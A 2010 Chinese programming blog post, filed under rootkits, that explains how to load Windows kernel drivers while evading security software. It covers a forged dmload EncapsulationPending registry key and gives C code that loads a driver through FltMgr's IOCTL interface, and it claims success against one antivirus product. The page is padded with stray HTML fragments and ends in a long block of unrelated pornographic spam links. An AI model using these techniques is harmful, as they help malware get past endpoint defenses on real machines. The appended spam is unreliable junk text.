• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            Load Driver

            Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1069) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主防加載驅動的新思路!!!

            通過dmload.sys可以實現一種新型的驅動加載方式。
            ? 在dmload的二次驅動重初始化時會調用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調用dmload!DmLoadIsDmioNeeded判斷系統是否需要加載dmboot驅動(向disk驅動發送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調用ZwLoadDriver加載dmboot驅動。
            ? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅動。


            http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

            一種另類驅動加載辦法

            2010年04月09日 評論(0)|瀏覽(75) 點擊查看原文

            一種另類驅動加載辦法

            華中科技大學

            在這個病毒=Rootkit的時代,驅動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅動也是嚴加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅動無法加載,不過,也有一些繞過的辦法。

            微軟為windows專門設計了一套微過濾驅動(mini filters),這套驅動是專用于管理文件過濾驅動的加載和運行,很多的虛擬磁盤驅動,還有還原軟件常用的磁盤過濾驅動,都是使用微過濾驅動進行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴,所以可以從這里下手去加載。

            不同于其他的驅動,Minifilter由一個獨立的manager管理而不僅僅是SCM(服務管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關于微處理管理器和微過濾驅動的內容,可以到微軟官網查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

            加載驅動的主要代碼比較簡單

            int main( int argc , char *argv[] )

            {

            HANDLE hDevice;

            LOAD service_to_load;

            BOOL err;

            DWORD dwRet=0;

            WCHAR drvPath[512];

            memset( drvPath , 0 , 512 );

            GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅動放在當前目錄下進行加載

            lstrcatW( drvPath , L"\\load.sys" );//驅動名稱必須為load.sys

            make_reg( L"load" , drvPath );

            hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進行驅動的加載

            if( hDevice == INVALID_HANDLE_VALUE )

            {

            printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

            goto __end;

            }

            wcscpy( service_to_load.ServiceName , L"load");

            service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

            err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

            if( !err )

            {

            printf("sorry\n");

            goto __end;

            }

            printf(":)\n");

            __end:

            CloseHandle( hDevice );

            return 0;

            }

            這段代碼和SCM加載驅動的代碼基本一致,只不過換成了Fltmgr進行加載。

            驅動還需要在注冊表中進行服務的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

            VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

            {

            DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內核驅動

            DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務

            HKEY hKey;

            WCHAR szMain[512] = {0};

            WCHAR szImgPath[512] = {0};

            wchar_t szRegPath[512]={0};

            wsprintfW( szMain,

            L"%s%s",

            L"SYSTEM\\CurrentControlSet\\Services\\",

            szDriverName );//在service鍵值下注冊

            wsprintfW( szImgPath,

            L"%s%s",

            L"\\??\\",

            szDriverPath);

            if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

            {

            RegSetValueExW( hKey,

            L"DisplayName",

            0,

            REG_SZ,

            (LPBYTE)szDriverName,

            (DWORD)lstrlenW(szDriverName)*2);

            RegSetValueExW( hKey,

            L"ImagePath",

            0,

            REG_EXPAND_SZ,

            (LPBYTE)szImgPath,

            (DWORD)lstrlenW(szImgPath)*2);

            RegSetValueExW( hKey,

            L"Type",

            0,

            REG_DWORD,

            (LPBYTE)&dwType,

            (DWORD)sizeof(dwType) );

            RegSetValueExW( hKey,

            L"Start",

            0,

            REG_DWORD,

            (LPBYTE)&dwStart,

            (DWORD)sizeof(dwStart) );

            }

            }

            這種方法經過測試,可以過瑞星2010最新版,360過不了,其他的待測,網吧的驅動防火墻不知能不能過,也許可以嘗試下……

            如果對驅動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

            热99re久久国超精品首页| 日日狠狠久久偷偷色综合0| 久久久久国产精品熟女影院| 亚洲精品无码成人片久久| 国内精品久久久久久99蜜桃 | 久久亚洲精品国产精品婷婷| 四虎国产精品成人免费久久| 狠狠狠色丁香婷婷综合久久五月 | 亚洲欧美日韩精品久久亚洲区 | 潮喷大喷水系列无码久久精品| 色综合色天天久久婷婷基地| 色综合久久天天综线观看| 久久这里只有精品18| 国产精品99久久不卡| 久久久久久久久久久久久久| 91精品免费久久久久久久久| 囯产精品久久久久久久久蜜桃| 国产精品久久久久久搜索| 思思久久好好热精品国产| 九九99精品久久久久久| 奇米影视7777久久精品人人爽| 日本一区精品久久久久影院| 久久精品国产亚洲av麻豆小说| 亚洲精品乱码久久久久久蜜桃 | 久久久久久久久久久久久久 | 97精品国产91久久久久久| 青青青青久久精品国产h久久精品五福影院1421 | 91久久成人免费| 国产精品久久久久久搜索| 伊人久久大香线蕉综合影院首页 | 亚洲国产精品久久久久网站| 久久久久亚洲精品无码蜜桃| 精品国产日韩久久亚洲| 色婷婷狠狠久久综合五月| 国产精品无码久久四虎| 国产精品岛国久久久久| 久久婷婷激情综合色综合俺也去| 漂亮人妻被中出中文字幕久久| 中文成人无码精品久久久不卡| 久久久精品人妻无码专区不卡| 天天综合久久久网|